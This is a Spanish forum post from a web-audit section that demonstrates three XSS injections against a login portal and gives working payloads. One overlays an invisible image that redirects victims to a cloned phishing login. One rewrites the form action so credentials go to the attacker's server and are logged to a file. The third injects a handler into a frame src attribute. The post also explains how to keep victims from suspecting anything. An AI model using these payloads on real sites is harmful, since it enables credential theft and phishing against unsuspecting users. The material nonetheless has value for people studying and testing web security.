Hoy les traigo 3 ejemplos de aplicaciones en webs vulnerables a inyecciones XSS, a continuación se va a demostrar cómo es posible realizar varios ataques XSS avanzados, donde se interceptan las credenciales de un login vulnerable con dos ejemplos:

1. Añadir imagen invisible superpuesta al botón del submit del form del login
2. Cambiar action de un form

Glosario de terminos

XSS: del inglés Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte inyectar en páginas web vistas por el usuario código JavaScript o en otro lenguaje script similar.
Scam: es el nombre utilizado para las estafas a través de medios tecnológicos. A partir de la definición de estafa, se define scam como el ‘delito consistente en provocar un perjuicio patrimonial a alguien mediante engaño y con ánimo de lucro; utilizando como medio la tecnología’.
Phising: es un término informático que denomina un tipo de abuso informático y que se comete mediante el uso de un tipo de ingenieria social caracterizado por intentar adquirir información confidencial de forma fraudulenta.

Ejemplo 1:

Como se puede apreciar esta sería la URL junto a la inyección XSS que se enviará a las víctimas.
[Enlace externo eliminado para invitados]

Diseccionándola para identificar mejor cada parte de la URL es posible identificar:

Por un lado la URL tal cual.
[Enlace externo eliminado para invitados]

Y por otro la inyección. cerrando el TAG y añadiendo el código correspondiente para el engaño.

Código: Seleccionar todo

"/>
<div style="position: absolute; z-index:1;left:525; top:90; border: none; border: 0;">
<img src="cuadrado.png" height="100" width="160" onclick="javascript:window.location.href='http://127.0.0.1/portalvtn/change_password.php'"></div>
<input type="hidden" value="
Con el cierre del TAG del principio y la apertura de un input evitamos que la aplicación muestre la web erróneamente:

Código: Seleccionar todo

"/>
<input type="hidden" value="
Con el DIV se va a colocar una imagen transparente encima del botón que sirve para acceder al panel de administración.
[Enlace externo eliminado para invitados]

La imagen al ser cliqueada va a realizar una redirección a una clonación de la página del login que se encuentra alojada en otra web a la espera de recibir ese usuario y contraseña que se espera obtener con este ataque XSS.

Para ver el ejemplo en acción voy a cambiar la imagen invisible por una inexistente y de esta forma poder identificarla en la imagen siguiente.

Imagen

Imagen 1: Imagen sobrepuesta al botón


La víctima al rellenar su usuario y contraseña y cliquear sobre Cambiar contraseña propia estará realmente apretando sobre la imagen que a su vez lanzará el javascript que le va a re direccionar a la web fraudulenta.

Imagen

Imagen 2: Víctima redirigida a la web clonada


Nada más entrar al phising que hemos creado será alertado con un mensaje que le haga creer que se ha equivocado escribiendo sus credenciales. como se puede observar en la barra de direcciones ahora se encuentra en nuestro servidor fraudulento.

Una vez vuelva a escribir sus credenciales se guardarán en un fichero y le volverá a ser redirigido a la web real junto con otro XSS que le vuelva a advertir de que ha escrito erróneamente sus credenciales para que no sospeche.

Imagen

Imagen 3: Usuario y contraseña robada

Imagen

Imagen 4: Redirección a la web original


Ejemplo 2:

Otra forma muy elegante que no por ello la anterior no se ha de tener en cuenta es modificando en el vuelo directamente el action del form.
[Enlace externo eliminado para invitados]"

Para ver mejor la inyección he separado el código que va a modificar el comportamiento de la aplicación.

Código: Seleccionar todo

<script>document.changeForm.action = " http://127.0.0.1/portalvtn/change_password.php";document.forms[0].btnSubmitOwn.type="submit"</script>
<input type="hidden" value="aaa
Como se puede apreciar se le está cambiando el action del form que en un principio se dirigía a sí mismo, por el de nuestro scam que tenemos en el servidor a la espera de que caiga en el engaño.
document.changeForm.action = " [Enlace externo eliminado para invitados]";

y el type del botón para que pase a ser un submit
document.forms[0].btnSubmitOwn.type="submit"

Aquí se puede apreciar cómo una vez hecha la inyección al darle a ‘Cambiar contraseña propia’ se envía tanto el usuario como la contraseña a mi aplicación y esta a su vez lo vuelca en un fichero.

Imagen

Imagen 5: Inyección XSS/ formulario rellenado

Imagen

Imagen 6: Envio de credenciales y vuelta al login original.


De esta forma a diferencia del primer ejemplo a ojos de la víctima sería casi del todo imperceptible.

Ejemplo 3:

Y por último otro ejemplo de XSS no muy común sería el siguiente
[Enlace externo eliminado para invitados]

Donde el código fuente de la aplicación es el siguiente:

Código: Seleccionar todo

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>SIP+ Planilla Flotante</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<frameset cols="250,*" frameborder="no" border="0" framespacing="0">
        <frame 
               src="indicePlanilla.php?proyectoId=1&action=ver" 
               name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/>
        <frame
               src="verPlanilla2.php?proyectoId=1"
               name="mainFrame" id="mainFrame" />
</frameset>
<noframes>
<body>
</body>
</noframes>
</html>
Al parecer el valor del campo proyectoId termina concatenándose en la propiedad src de la etiqueta frame del tal manera que preparando una inyección XSS como la siguiente:
[Enlace externo eliminado para invitados]

Diseccionándolo para que se entienda mejor:
[Enlace externo eliminado para invitados]

" onload=javascript:alert(8) michy="a

Se puede observar en el código fuente como se logra inyectar lo enviado por el parámetro proyectoId en la etiqueta frame sin romperla y lograr que la aplicación cumpla como estaba prevista sin malformaciones a la vista de la víctima.

Código: Seleccionar todo

<frame 
               src="indicePlanilla.php?proyectoId=\" onload=javascript:alert(8) michy=\"a&action=ver" 
               name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/>
Imagen

Imagen 7: Inyección exitosa en la etiqueta frame


Fuente: [Enlace externo eliminado para invitados]
Imagen

(cuanto más sabes, más cuenta te das de lo poco que sabes).

Mostrar/Ocultar

Responder

Volver a “Auditoria Web”